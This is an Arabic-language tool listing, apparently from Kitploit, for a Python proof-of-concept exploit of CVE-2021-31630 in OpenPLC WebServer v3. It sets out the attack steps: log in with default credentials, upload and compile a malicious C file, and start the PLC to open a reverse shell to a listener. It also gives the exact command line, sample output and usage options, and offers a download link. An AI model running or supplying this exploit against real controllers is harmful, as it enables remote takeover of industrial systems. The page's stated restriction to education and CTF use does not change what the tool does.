CVE-2021-31630 — استغلال POC لثغرة CVE-2021-31630 مكتوب بلغة Python3 ويستخدم شل عكسي بلغة C مع الوضع غير الحاجب | Kitploit

OpenPLC WebServer v3 - استغلال تنفيذ الأوامر عن بُعد بعد المصادقة (CVE-2021-31630)

يستند هذا الاستغلال إلى الاستغلال المنشور على Exploit-DB والذي أعده Fellipe Oliveira.

أولاً، قم بالمصادقة
ارفع ملف C خبيث
قم بترجمته (Compile)
شغّل جهاز PLC (لبدء الصدفة العكسية)
أوقف تشغيل PLC (لا حاجة لتشغيله، فالصدفة العكسية قد بدأت بالفعل)

└─# python3 custom_exploit.py --url http://10.10.11.7:8080 --username openplc --password openplc --listenerip 10.10.16.4 --listenerport 8888
[*] Authenticated.
[*] C file uploaded. Waiting for compilation.
[*] Compiled, probably.
[*] Started PLC, you should get your reverse shell now.
[*] Stopped PLC.

طريقة الاستخدام

python3 exploit.py --url <> --username <> --password <> --listenerip <> --listenerport <>

الخيارات:

--url - عنوان URL الخاص بـ OpenPLC
--username - اسم المستخدم
--password - كلمة المرور
--listenerip - عنوان IP الخاص بالمستمع (Listener)
--listenerport - منفذ المستمع (Listener)

ملاحظة: تم إنشاء هذا الاستغلال كإثبات لمفهوم (PoC)؛ استخدمه للأغراض التعليمية أو مسابقات CTF فقط - https://flojboj.org/article/WifineticTwo

تنزيل الأداة